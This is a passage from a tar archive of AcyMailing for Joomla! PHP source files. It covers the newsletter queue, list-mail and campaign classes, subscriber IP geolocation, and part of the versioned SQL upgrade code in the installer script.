		if(empty($action->action_id)) $action->nextdate = time() + intval($action->frequency);
		if($action->password == '********') unset($action->password);

		$action->conditions = json_encode($formData['conditions']);
		$action->actions = json_encode($formData['actions']);

		if(isset($action->published) && $action->published != 1) $action->published = 0;
		$action_id = $this->save($action);
		if(!$action_id) return false;

		acymailing_setVar('action_id', $action_id);
		return true;
	}

	function save($action){
		if(empty($action->action_id) && empty($action->userid)){
			$action->userid = acymailing_currentUserId();
		}

		acymailing_importPlugin('acymailing');
		if(empty($action->action_id)){
			acymailing_trigger('onAcyBeforeActionCreate', array(&$action));
			$status = acymailing_insertObject(acymailing_table('action'), $action);
		}else{
			acymailing_trigger('onAcyBeforeActionModify', array(&$action));
			$status = acymailing_updateObject(acymailing_table('action'), $action, 'action_id');
		}

		if($status) return empty($action->action_id) ? $status : $action->action_id;
		return false;
	}
}
com_acymailing/classes/queue.php000060400000015134152455305300013013 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class queueClass extends acymailingClass{

	var $onlynew = false;
	var $mindelay = 0;
	var $limit = 0;
	var $orderBy = '';
	var $emailtypes = array();

	function delete($filters){

		if(!empty($filters)){
			$query = 'DELETE a.* FROM '.acymailing_table('queue').' as a';
			$query .= ' JOIN '.acymailing_table('subscriber').' as b on a.subid = b.subid';
			$query .= ' JOIN '.acymailing_table('mail').' as c on a.mailid = c.mailid';
			$query .= ' WHERE ('.implode(') AND (', $filters).')';
		}else{
			$nbRecords = acymailing_loadResult('SELECT COUNT(*) FROM #__acymailing_queue');

			$query = 'TRUNCATE TABLE '.acymailing_table('queue');
		}
		$affected = acymailing_query($query);
		if(empty($nbRecords)) $nbRecords = $affected;

		return $nbRecords;
	}

	function nbQueue($mailid){
		$mailid = (int)$mailid;
		return acymailing_loadResult('SELECT count(subid) FROM '.acymailing_table('queue').' WHERE mailid = '.$mailid.' GROUP BY mailid');
	}

	function queue($mailid, $time){
		$mailid = intval($mailid);
		if(empty($mailid)) return false;

		$classLists = acymailing_get('class.listmail');
		$lists = $classLists->getReceivers($mailid, false);
		if(empty($lists)) return 0;

		$config = acymailing_config();
		acymailing_importPlugin('acymailing');
		$filterClass = acymailing_get('class.filter'); // Keep it, it loads the acyQuery class

		$mailClass = acymailing_get('class.mail');
		$mail = $mailClass->get($mailid);

		if(empty($mail->filter['type'])){
			$cquery = $this->initialQuery($lists);
			$query = 'INSERT IGNORE INTO '.acymailing_table('queue').' (subid,mailid,senddate,priority) '.$cquery->getQuery(array('a.subid',$mailid,$time,(int)$config->get('priority_newsletter', 3)));
			$totalinserted = acymailing_query($query);
		}else{
			$totalinserted = 0;
			foreach($mail->filter['type'] as $block => $oneFilter) {
				$cquery = $this->initialQuery($lists);
				foreach($oneFilter as $num => $oneType) {
					if(empty($oneType)) continue;
					acymailing_trigger('onAcyProcessFilter_' . $oneType, array(&$cquery, $mail->filter[$num][$oneType], $num));
				}
				$query = 'INSERT IGNORE INTO '.acymailing_table('queue').' (subid,mailid,senddate,priority) '.$cquery->getQuery(array('a.subid',$mailid,$time,(int)$config->get('priority_newsletter', 3)));
				$totalinserted += acymailing_query($query);
			}
		}

		if($this->onlynew){
			$affected = acymailing_query('DELETE b.* FROM `#__acymailing_userstats` as a JOIN `#__acymailing_queue` as b ON a.subid = b.subid AND a.mailid = b.mailid WHERE a.mailid = '.$mailid);
			$totalinserted = $totalinserted - $affected;
		}

		if(!empty($this->mindelay)){
			$affected = acymailing_query('DELETE b.* FROM `#__acymailing_queue` as b JOIN `#__acymailing_userstats` AS a ON a.subid = b.subid WHERE b.mailid = '.$mailid.' AND a.senddate > '.(time() - ($this->mindelay * 24 * 60 * 60)));
			$totalinserted = $totalinserted - $affected;
		}

		acymailing_trigger('onAcySendNewsletter', array($mailid));

		return $totalinserted;
	}

	function initialQuery($lists){
		$query = new acyQuery();

		$query->from = acymailing_table('listsub').' as a ';
		$query->join[] = acymailing_table('subscriber').' as sub ON a.subid = sub.subid ';
		$query->where[] = 'sub.enabled = 1';
		$query->where[] = 'sub.accept = 1';
		$query->where[] = 'a.listid IN ('.implode(',', array_keys($lists)).')';
		$query->where[] = 'a.status = 1';
		$config = acymailing_config();
		if($config->get('require_confirmation', '0')) $query->where[] = 'sub.confirmed = 1';
		$query->orderBy = $this->orderBy;
		$query->limit = $this->limit;

		return $query;
	}

	public function getReady($limit, $mailid = 0){
		if(empty($limit)) return array();

		$config = acymailing_config();
		$order = $config->get('sendorder');
		if(empty($order)){
			$order = 'a.`subid` ASC';
		}else{
			if($order == 'rand'){
				$order = 'RAND()';
			}else{
				$ordering = explode(',', $order);
				$order = 'a.`'.acymailing_secureField(trim($ordering[0])).'` '.acymailing_secureField(trim($ordering[1]));
			}
		}

		$query = 'SELECT a.* FROM '.acymailing_table('queue').' AS a';
		$query .= ' JOIN '.acymailing_table('mail').' AS b on a.`mailid` = b.`mailid` ';
		$query .= ' WHERE a.`senddate` <= '.time().' AND b.`published` = 1';
		if(!empty($this->emailtypes)){
			foreach($this->emailtypes as &$oneType){
				$oneType = acymailing_escapeDB($oneType);
			}
			$query .= ' AND (b.type = '.implode(' OR b.type = ', $this->emailtypes).')';
		}
		if(!empty($mailid)) $query .= ' AND a.`mailid` = '.$mailid;
		$query .= ' ORDER BY a.`priority` ASC, a.`senddate` ASC, '.$order;
		$query .= ' LIMIT '.acymailing_getVar('int', 'startqueue', 0).','.intval($limit);
		try{
			$results = acymailing_loadObjectList($query);
		}catch(Exception $e){
			$results = null;
		}

		if($results === null){
			acymailing_query('REPAIR TABLE #__acymailing_queue, #__acymailing_subscriber, #__acymailing_mail');
		}

		if(empty($results)) return array();

		if(!empty($results)){
			$firstElementQueued = reset($results);
			acymailing_query('UPDATE #__acymailing_queue SET senddate = senddate + 1 WHERE mailid = '.$firstElementQueued->mailid.' AND subid = '.$firstElementQueued->subid.' LIMIT 1');
		}

		$subids = array();
		foreach($results as $oneRes){
			$subids[$oneRes->subid] = intval($oneRes->subid);
		}

		$cleanQueue = false;
		if(!empty($subids)){
			$allusers = acymailing_loadObjectList('SELECT * FROM #__acymailing_subscriber WHERE subid IN ('.implode(',', $subids).')', 'subid');
			foreach($results as $oneId => $oneRes){
				if(empty($allusers[$oneRes->subid])){
					$cleanQueue = true;
					continue;
				}
				foreach($allusers[$oneRes->subid] as $oneVar => $oneVal){
					$results[$oneId]->$oneVar = $oneVal;
				}
			}
		}

		if($cleanQueue){
			acymailing_query('DELETE a.* FROM #__acymailing_queue as a LEFT JOIN #__acymailing_subscriber as b ON a.subid = b.subid WHERE b.subid IS NULL');
		}

		return $results;
	}


	function queueStatus($mailid, $all = false){
		$query = 'SELECT a.mailid, count(a.subid) as nbsub,min(a.senddate) as senddate, b.subject FROM '.acymailing_table('queue').' as a';
		$query .= ' JOIN '.acymailing_table('mail').' as b on a.mailid = b.mailid';
		$query .= ' WHERE b.published > 0';
		if(!$all){
			$query .= ' AND a.senddate < '.time();
			if(!empty($mailid)) $query .= ' AND a.mailid = '.$mailid;
		}
		$query .= ' GROUP BY a.mailid';
		$queueStatus = acymailing_loadObjectList($query, 'mailid');

		return $queueStatus;
	}

}
com_acymailing/classes/listmail.php000060400000005631152455305300013506 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class listmailClass extends acymailingClass{

	function getLists($mailid){
		$query = 'SELECT a.*,b.mailid FROM '.acymailing_table('list').' as a LEFT JOIN '.acymailing_table('listmail').' as b on a.listid = b.listid AND b.mailid = '.intval($mailid).' WHERE a.type = \'list\' ORDER BY b.mailid DESC, a.ordering ASC';
		return acymailing_loadObjectList($query);
	}

	function save($mailid, $listids = array(), $removelists = array()){
		$mailid = intval($mailid);
		if(!empty($removelists)){
			acymailing_arrayToInteger($removelists);
			$query = 'DELETE FROM '.acymailing_table('listmail').' WHERE mailid = '.$mailid.' AND listid IN ('.implode(',', $removelists).')';
			$affected = acymailing_query($query);
			if($affected === false) return false;
		}

		acymailing_arrayToInteger($listids);
		if(empty($listids)) return true;

		$query = 'INSERT IGNORE INTO '.acymailing_table('listmail').' (mailid,listid) VALUES ('.$mailid.','.implode('),('.$mailid.',', $listids).')';
		return acymailing_query($query) !== false;
	}

	function getCampaign($mailid){
		$query = 'SELECT a.*,b.mailid FROM '.acymailing_table('listmail').' as b LEFT JOIN '.acymailing_table('list').' as a on a.listid = b.listid WHERE b.mailid = '.intval($mailid).' AND a.type = \'campaign\' LIMIT 1';
		return acymailing_loadObject($query);
	}

	function getReceivers($mailid, $total = true, $onlypublished = true){
		$query = 'SELECT a.name,a.description,a.published,a.color,b.listid,b.mailid FROM '.acymailing_table('listmail').' as b JOIN '.acymailing_table('list').' as a on a.listid = b.listid WHERE b.mailid = '.intval($mailid);
		if($onlypublished) $query .= ' AND a.published = 1';
		$lists = acymailing_loadObjectList($query, 'listid');

		if(empty($lists) OR !$total) return $lists;

		$config = acymailing_config();
		$confirmed = $config->get('require_confirmation') ? 'b.confirmed = 1 AND' : '';
		$countQuery = 'SELECT a.listid, count(b.subid) as nbsub FROM `#__acymailing_listsub` as a JOIN `#__acymailing_subscriber` as b ON a.subid = b.subid WHERE '.$confirmed.' b.`enabled` = 1 AND b.`accept` = 1 AND a.`status` = 1 AND a.`listid` IN ('.implode(',', array_keys($lists)).') GROUP BY a.`listid`';
		$countResult = acymailing_loadObjectList($countQuery, 'listid');

		foreach($lists as $listid => $count){
			$lists[$listid]->nbsub = empty($countResult[$listid]->nbsub) ? 0 : $countResult[$listid]->nbsub;
		}

		return $lists;
	}

	function getFollowup($listid){
		$query = 'SELECT a.* FROM '.acymailing_table('listmail').' as b LEFT JOIN '.acymailing_table('mail').' as a on a.mailid = b.mailid WHERE b.listid = '.intval($listid).' ORDER BY a.senddate ASC';
		return acymailing_loadObjectList($query);
	}

}


com_acymailing/classes/listcampaign.php000060400000003021152455305300014332 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class listcampaignClass extends acymailingClass{

	function getLists($campaignid){
		$query = 'SELECT a.*,b.campaignid FROM '.acymailing_table('list').' as a LEFT JOIN '.acymailing_table('listcampaign').' as b on a.listid = b.listid AND b.campaignid = '.intval($campaignid).' WHERE a.type = \'list\' ORDER BY b.campaignid DESC, a.ordering ASC';
		return acymailing_loadObjectList($query);
	}

	function save($campaignid,$listids = array()){
		$campaignid = intval($campaignid);
		$query = 'DELETE FROM '.acymailing_table('listcampaign').' WHERE campaignid = '.$campaignid;
		$affected = acymailing_query($query);
		if($affected === false) return false;

		acymailing_arrayToInteger($listids);
		if(empty($listids))	return true;

		$query = 'INSERT IGNORE INTO '.acymailing_table('listcampaign').' (campaignid,listid) VALUES ('.$campaignid.','.implode('),('.$campaignid.',',$listids).')';
		return acymailing_query($query) !== false;
	}

	function getAffectedCampaigns($listids){
		$query = 'SELECT DISTINCT a.campaignid FROM '.acymailing_table('listcampaign').' as a JOIN '.acymailing_table('list').' as b on a.campaignid = b.listid WHERE a.listid IN ('.implode(',',$listids) .') AND b.type = \'campaign\' AND b.published = 1';
		return acymailing_loadResultArray($query);
	}

}


com_acymailing/classes/geolocation.php000060400000014767152455305300014205 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class geolocationClass extends acymailingClass{
	var $tables = array('geolocation');
	var $pkey = 'geolocation_id';

	function saveGeolocation($geoloc_action, $subid){
		$config = acymailing_config();
		$geoloc_config = $config->get('geolocation');
		if(stripos($geoloc_config, $geoloc_action) === false) return false;

		$geo_element = new stdClass();
		$geo_element->geolocation_subid = $subid;
		$geo_element->geolocation_type = $geoloc_action;

		$userHelper = acymailing_get('helper.user');
		$geo_element->geolocation_ip = $userHelper->getIP();
		if(empty($geo_element->geolocation_subid) || empty($geo_element->geolocation_ip)) return false;

		$geo_element = $this->getIpLocation($geo_element);
		if($geo_element != false){
			parent::save($geo_element);
			return $geo_element;
		}else{
			return false;
		}
	}

	function getIpLocation($element){
		$oldElement = $this->getMostRecentDataByIp($element->geolocation_ip);
		if(!empty($oldElement) && (time() - $oldElement->geolocation_created < 2592000)){
			$element->geolocation_latitude = $oldElement->geolocation_latitude;
			$element->geolocation_longitude = $oldElement->geolocation_longitude;
			$element->geolocation_postal_code = $oldElement->geolocation_postal_code;
			$element->geolocation_country = $oldElement->geolocation_country;
			$element->geolocation_country_code = $oldElement->geolocation_country_code;
			$element->geolocation_state = $oldElement->geolocation_state;
			$element->geolocation_state_code = $oldElement->geolocation_state_code;
			$element->geolocation_city = $oldElement->geolocation_city;
			$element->geolocation_created = time();
			$element->geolocation_continent = (!empty($oldElement->geolocation_country_code) ? $this->countryToContinent($oldElement->geolocation_country_code) : '');
			$element->geolocation_timezone = $oldElement->geolocation_timezone;
			return $element;
		}

		$geoClass = acymailing_get('inc.ipinfodb');

		$config = acymailing_config();
		$api_key = trim($config->get('geoloc_api_key', ''));
		if($api_key == '') return false;
		$geoClass->setKey($api_key);
		$location = $geoClass->getCity($element->geolocation_ip);
		$errorLoc = $geoClass->getError();

		if(empty($errorLoc) && !empty($location) && !empty($location->countryCode) && $location->countryCode != '-'){
			$element->geolocation_latitude = (!empty($location->latitude) ? $location->latitude : 0);
			$element->geolocation_longitude = (!empty($location->longitude) ? $location->longitude : 0);
			$element->geolocation_postal_code = (!empty($location->zipCode) ? $location->zipCode : '');
			$element->geolocation_country = (!empty($location->countryName) ? ucwords(strtolower($location->countryName)) : '');
			$element->geolocation_country_code = (!empty($location->countryCode) ? $location->countryCode : '');
			$element->geolocation_state = (!empty($location->regionName) ? $location->regionName : '');
			$element->geolocation_state_code = (!empty($location->regioncode) ? $location->regioncode : '');
			$element->geolocation_city = (!empty($location->cityName) ? ucwords(strtolower($location->cityName)) : '');
			$element->geolocation_created = time();
			$element->geolocation_continent = (!empty($location->countryCode) ? $this->countryToContinent($location->countryCode) : '');
			$element->geolocation_timezone = (!empty($location->timeZone) ? $location->timeZone : '');
			return $element;
		}else{
			return false;
		}
	}

	function getMostRecentDataByIp($ip){
		return acymailing_loadObject("SELECT * FROM #__acymailing_geolocation WHERE geolocation_ip=".acymailing_escapeDB($ip)." ORDER BY geolocation_created DESC");
	}

	function testApiKey($apiKey){
		$geoClass = acymailing_get('inc.ipinfodb');
		$geoClass->setKey(trim($apiKey));

		$userHelper = acymailing_get('helper.user');
		$ipUser = $userHelper->getIP();
		$test = $geoClass->getCity($ipUser);
		$errorLoc = $geoClass->getError();

		if(!empty($test)){ // Has a return from the API
			return $test;
		}else{ // No return, we will display the IP used when calling API
			$retourError = new stdClass();
			$retourError->statusCode = 'noReturn';
			$retourError->ip = $ipUser;
			if(!empty($errorLoc)) $retourError->errorAPI = $errorLoc;
			return $retourError;
		}
	}

	function countryToContinent($country){
		$continent = '';
		$asia = array('AF', 'AM', 'AZ', 'BH', 'BD', 'BT', 'BN', 'IO', 'KH', 'CN', 'CX', 'CC', 'CY', 'GE', 'HK', 'IN', 'ID', 'IR', 'IQ', 'IL', 'JP', 'JO', 'KZ', 'KP', 'KR', 'KW', 'KG', 'LA', 'LB', 'MO', 'MY', 'MV', 'MN', 'MM', 'NP', 'OM', 'PK', 'PS', 'PH', 'QA', 'SA', 'SG', 'LK', 'SY', 'TW', 'TJ', 'TH', 'TL', 'TR', 'TM', 'AE', 'UZ', 'VN', 'YE');
		$africa = array('AO', 'BJ', 'DZ', 'BW', 'BF', 'BI', 'CM', 'CV', 'CF', 'TD', 'KM', 'CD', 'CG', 'CI', 'DJ', 'EG', 'GQ', 'ER', 'ET', 'GA', 'GM', 'GH', 'GN', 'GW', 'KE', 'LS', 'LR', 'LY', 'MG', 'MW', 'ML', 'MR', 'MU', 'YT', 'MA', 'MZ', 'NA', 'NE', 'NG', 'RE', 'RW', 'SH', 'ST', 'SN', 'SC', 'SL', 'SO', 'ZA', 'SD', 'SZ', 'TZ', 'TG', 'TN', 'UG', 'EH', 'ZM', 'ZW');
		$europe = array('AX', 'AL', 'AT', 'AD', 'BY', 'BE', 'BA', 'BG', 'HR', 'CZ', 'DK', 'EE', 'FO', 'FI', 'FR', 'DE', 'GI', 'GR', 'GG', 'VA', 'HU', 'IS', 'IE', 'IM', 'IT', 'JE', 'LV', 'LI', 'LT', 'LU', 'MK', 'MT', 'MD', 'MC', 'ME', 'NL', 'NO', 'PL', 'PT', 'RO', 'RU', 'SM', 'RS', 'SK', 'SI', 'ES', 'SJ', 'SE', 'CH', 'UA', 'GB');
		$oceania = array('AS', 'AU', 'CK', 'FJ', 'PF', 'GU', 'KI', 'MH', 'FM', 'NR', 'NC', 'NZ', 'NU', 'NF', 'MP', 'PW', 'PG', 'PN', 'WS', 'SB', 'TK', 'TO', 'TV', 'UM', 'VU', 'WF');
		$northAmerica = array('AI', 'AG', 'AW', 'BS', 'BB', 'BZ', 'BM', 'VG', 'CA', 'KY', 'CR', 'CU', 'DM', 'DO', 'SV', 'GL', 'GD', 'GP', 'GT', 'HT', 'HN', 'JM', 'MQ', 'MX', 'MS', 'AN', 'NI', 'PA', 'PR', 'BL', 'KN', 'LC', 'MF', 'PM', 'VC', 'TT', 'TC', 'US', 'VI');
		$southAmerica = array('AR', 'BO', 'BR', 'CL', 'CO', 'EC', 'FK', 'GF', 'GY', 'PY', 'PE', 'SR', 'UY', 'VE');
		$antarctica = array('AQ', 'BV', 'TF', 'HM', 'GS');

		if(in_array($country, $asia)) $continent = 'Asia';
		if(in_array($country, $africa)) $continent = 'Africa';
		if(in_array($country, $europe)) $continent = 'Europe';
		if(in_array($country, $oceania)) $continent = 'Oceania';
		if(in_array($country, $northAmerica)) $continent = 'North America';
		if(in_array($country, $southAmerica)) $continent = 'South America';
		if(in_array($country, $antarctica)) $continent = 'Antarctica';

		return $continent;
	}
}
com_acymailing/classes/index.html000060400000000054152455305300013146 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/install.acymailing.php000060400000140035152455305300014013 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

if(version_compare(PHP_VERSION, '5.0.0', '<')){
	echo '<p style="color:red">This version of AcyMailing does not support PHP4, it is time to upgrade your server to PHP5!</p>';
	exit;
}

function installAcyMailing(){
	$success = true;
	try{
		include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php');
	}catch(Exception $e){
		$updateHelper = acymailing_get('helper.update');
		$updateHelper->installTables();
		$success = false;
	}

	acymailing_increasePerf();

	$installClass = new acymailingInstall();
	$installClass->updateJoomailing();
	$installClass->addPref();
	$installClass->updatePref();
	$installClass->updateSQL();
	if($success) $installClass->displayInfo();
}

function uninstallAcyMailing(){
	$uninstallClass = new acymailingUninstall();
	$uninstallClass->unpublishModules();
	$uninstallClass->message();
}

if(!function_exists('com_install')){
	function com_install(){
		return installAcyMailing();
	}
}

if(!function_exists('com_uninstall')){
	function com_uninstall(){
		return uninstallAcyMailing();
	}
}

class com_acymailingInstallerScript{
	function install($parent){
		installAcyMailing();
	}

	function update($parent){
		installAcyMailing();
	}

	function uninstall($parent){
		uninstallAcyMailing();
	}

	function preflight($type, $parent){
		return true;
	}

	function postflight($type, $parent){
		return true;
	}
}


class acymailingInstall{

	var $level = 'starter';
	var $version = '5.8.0';
	var $update = false;
	var $fromLevel = '';
	var $fromVersion = '';
	var $db;

	function __construct(){
		$this->db = JFactory::getDBO();
		include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php');
	}

	function displayInfo(){

		echo '<h1>Please wait... </h1><h2>AcyMailing will now automatically install the Plugins and the Module</h2>';
		$url = 'index.php?option=com_acymailing&ctrl=update&task=install&fromlevel='.$this->fromLevel.'&fromversion='.$this->fromVersion;
		echo '<a href="'.$url.'">Please click here if you are not automatically redirected within 3 seconds</a>';
		echo "<script language=\"javascript\" type=\"text/javascript\">document.location.href='$url';</script>\n";
	}


	function updatePref(){

		$this->db->setQuery("SELECT `namekey`, `value` FROM `#__acymailing_config` WHERE `namekey` IN ('version','level') LIMIT 2");
		try{
			$results = $this->db->loadObjectList('namekey');
		}catch(Exception $e){
			$results = null;
		}

		if($results === null){
			acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags($this->db->getErrorMsg()), 0, 200).'...', 'error');
			return false;
		}

		if($results['version']->value == $this->version AND $results['level']->value == $this->level) return true;

		$this->update = true;
		$this->fromLevel = $results['level']->value;
		$this->fromVersion = $results['version']->value;

		$query = "REPLACE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('level',".$this->db->Quote($this->level)."),('version',".$this->db->Quote($this->version)."),('installcomplete','0')";
		$this->db->setQuery($query);
		$this->db->query();

		return true;
	}

	function updateSQL(){
		if(!$this->update) return true;
		$config = acymailing_config();




		if(version_compare($this->fromVersion, '1.1.4', '<')){
			$replace1 = "REPLACE(`params`, 'showhtml=1\nshowname=1', 'customfields=name,email,html' )";
			$replace2 = "REPLACE( $replace1 , 'showhtml=0\nshowname=1', 'customfields=name,email' )";
			$replace3 = "REPLACE( $replace2 , 'showhtml=1\nshowname=0', 'customfields=email,html' )";
			$replace4 = "REPLACE( $replace3 , 'showhtml=0\nshowname=0', 'customfields=email' )";
			$this->updateQuery("UPDATE #__modules SET `params`= $replace4 WHERE `module` = 'mod_acymailing' ");
		}

		if(version_compare($this->fromVersion, '1.2.1', '<')){
			$this->updateQuery("UPDATE `#__acymailing_config` SET `value` = 'data' WHERE `value` = '0' AND `namekey` = 'allow_modif' LIMIT 1");
			$this->updateQuery("UPDATE `#__acymailing_config` SET `value` = 'all' WHERE `value` = '1' AND `namekey` = 'allow_modif' LIMIT 1");
		}

		if(version_compare($this->fromVersion, '1.2.2', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `sentby` INT UNSIGNED NULL DEFAULT NULL");
			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `subject` VARCHAR( 250 ) NULL DEFAULT NULL");
			$this->updateQuery("DELETE FROM `#__plugins` WHERE `folder` = 'acymailing' AND `element` = 'autocontent'");
		}

		if(version_compare($this->fromVersion, '1.2.3', '<')){
			$this->updateQuery("UPDATE `#__plugins` SET `folder` = 'system', `element`= 'regacymailing', `name` = 'AcyMailing : (auto)Subscribe during Joomla registration', `params`= REPLACE(`params`, 'lists=', 'autosub=' ) WHERE `folder` = 'user' AND `element` = 'acymailing'");
			$this->updateQuery("DELETE FROM `#__plugins` WHERE `folder` = 'acymailing' AND `element` = 'autocontent'");
			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `stylesheet` TEXT NULL");

			if(is_dir(ACYMAILING_BACK.'plugins'.DS.'plg_user_acymailing')){
				acymailing_deleteFolder(ACYMAILING_BACK.'plugins'.DS.'plg_user_acymailing');
			}
			if(is_dir(ACYMAILING_BACK.'plugins'.DS.'plg_acymailing_autocontent')){
				acymailing_deleteFolder(ACYMAILING_BACK.'plugins'.DS.'plg_acymailing_autocontent');
			}
		}

		if(version_compare($this->fromVersion, '1.3.1', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_config` CHANGE `value` `value` TEXT NULL ");

			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `listing` TINYINT NULL DEFAULT NULL ");
			$this->updateQuery("UPDATE `#__acymailing_fields` SET `listing` = 1 WHERE `namekey` IN ('name','email','html') ");
			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `fromname` VARCHAR( 250 ) NULL , ADD `fromemail` VARCHAR( 250 ) NULL , ADD `replyname` VARCHAR( 250 ) NULL , ADD `replyemail` VARCHAR( 250 ) NULL ");
		}

		if(version_compare($this->fromVersion, '1.5.2', '<')){

			$existingEntry = acymailing_loadResult("SELECT `params` FROM #__plugins WHERE `element` = 'regacymailing' LIMIT 1");
			$listids = 'None';
			if(preg_match('#autosub=(.*)#i', $existingEntry, $autosubResult)){
				$listids = $autosubResult[1];
			}
			$this->updateQuery("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('autosub',".$this->db->Quote($listids).")");
		}

		if(version_compare($this->fromVersion, '1.5.3', '<')){
			$this->updateQuery('UPDATE #__acymailing_config SET `value` = REPLACE(`value`,\'<sup style="font-size: 4px;">TM</sup>\',\'™\')');
		}


		if(version_compare($this->fromVersion, '1.6.2', '<')){

			$this->updateQuery("UPDATE #__acymailing_config SET `value` = 'media/com_acymailing/upload' WHERE `namekey` = 'uploadfolder' AND `value` = 'components/com_acymailing/upload' ");

			$this->updateQuery("UPDATE #__acymailing_config SET `value` = 'media/com_acymailing/logs/report".rand(0, 999999999).".log' WHERE `namekey` = 'cron_savepath' ");

			if(!ACYMAILING_J16){
				$this->updateQuery("UPDATE #__plugins SET `params` = REPLACE(`params`,'components/com_acymailing/images','media/com_acymailing/images') ");
			}else{
				$this->updateQuery("UPDATE #__extensions SET `params` = REPLACE(`params`,'components\/com_acymailing\/images','media\/com_acymailing\/images') ");
			}


			$updateClass = acymailing_get('helper.update');
			$removeFiles = array();
			$removeFiles[] = ACYMAILING_FRONT.'css'.DS.'component_default.css';
			$removeFiles[] = ACYMAILING_FRONT.'css'.DS.'frontendedition.css';
			$removeFiles[] = ACYMAILING_FRONT.'css'.DS.'module_default.css';
			foreach($removeFiles as $oneFile){
				if(is_file($oneFile)) acymailing_deleteFile($oneFile);
			}

			$fromFolders = array();
			$toFolders = array();
			$fromFolders[] = ACYMAILING_FRONT.'css';
			$toFolders[] = ACYMAILING_MEDIA.'css';
			$fromFolders[] = ACYMAILING_FRONT.'templates'.DS.'plugins';
			$toFolders[] = ACYMAILING_MEDIA.'plugins';
			$fromFolders[] = ACYMAILING_FRONT.'upload';
			$toFolders[] = ACYMAILING_MEDIA.'upload';

			foreach($fromFolders as $i => $oneFolder){
				if(!is_dir($oneFolder)) continue;
				if(is_dir($toFolders[$i])){
					$updateClass->copyFolder($oneFolder, $toFolders[$i]);
				}
			}

			$deleteFolders = array();
			$deleteFolders[] = ACYMAILING_FRONT.'css';
			$deleteFolders[] = ACYMAILING_FRONT.'images';
			$deleteFolders[] = ACYMAILING_FRONT.'js';
			$deleteFolders[] = ACYMAILING_BACK.'logs';

			foreach($deleteFolders as $oneFolder){
				if(!is_dir($oneFolder)) continue;
				acymailing_deleteFolder($oneFolder);
			}
		}

		if(version_compare($this->fromVersion, '1.7.1', '<')){
			$this->updateQuery("CREATE TABLE IF NOT EXISTS `#__acymailing_history` (`subid` INT UNSIGNED NOT NULL ,`date` INT UNSIGNED NOT NULL ,`ip` VARCHAR( 50 ) NULL ,
								`action` VARCHAR( 50 ) NOT NULL , `data` TEXT NULL , `source` TEXT NULL , INDEX ( `subid` , `date` ) ) ;");
		}

		if(version_compare($this->fromVersion, '1.7.3', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `metakey` TEXT NULL , ADD `metadesc` TEXT NULL ");
		}

		if(version_compare($this->fromVersion, '1.8.4', '<')){
			$this->updateQuery("UPDATE `#__acymailing_config` as a, `#__acymailing_config` as b SET a.`value` = b.`value` WHERE a.`namekey`= 'queue_nbmail_auto' AND b.`namekey`= 'queue_nbmail' ");
			$this->updateQuery("UPDATE `#__acymailing_mail` SET `body` = CONCAT(`body`,'<p>{survey}</p>') WHERE type = 'notification' AND `alias` IN ('notification_refuse','notification_unsub','notification_unsuball')");
		}

		if(version_compare($this->fromVersion, '1.8.5', '<')){
			$metaFile = ACYMAILING_FRONT.'metadata.xml';
			if(file_exists($metaFile)) acymailing_deleteFile($metaFile);
			$this->updateQuery('ALTER TABLE #__acymailing_url DROP INDEX url');
			$this->updateQuery('ALTER TABLE `#__acymailing_url` CHANGE `url` `url` TEXT NOT NULL');
			$this->updateQuery('ALTER TABLE `#__acymailing_url` ADD INDEX `url` ( `url` ( 250 ) ) ');
			$this->updateQuery("UPDATE `#__acymailing_mail` SET `body` = CONCAT(`body`,'<p>Subscription : {user:subscription}</p>') WHERE type = 'notification' AND `alias` = 'notification_created'");
		}

		if(version_compare($this->fromVersion, '1.9.1', '<')){
			$this->updateQuery('ALTER TABLE `#__acymailing_history` ADD `mailid` MEDIUMINT UNSIGNED NULL');

			$this->updateQuery('CREATE TABLE IF NOT EXISTS `#__acymailing_rules` (
				`ruleid` SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY ,
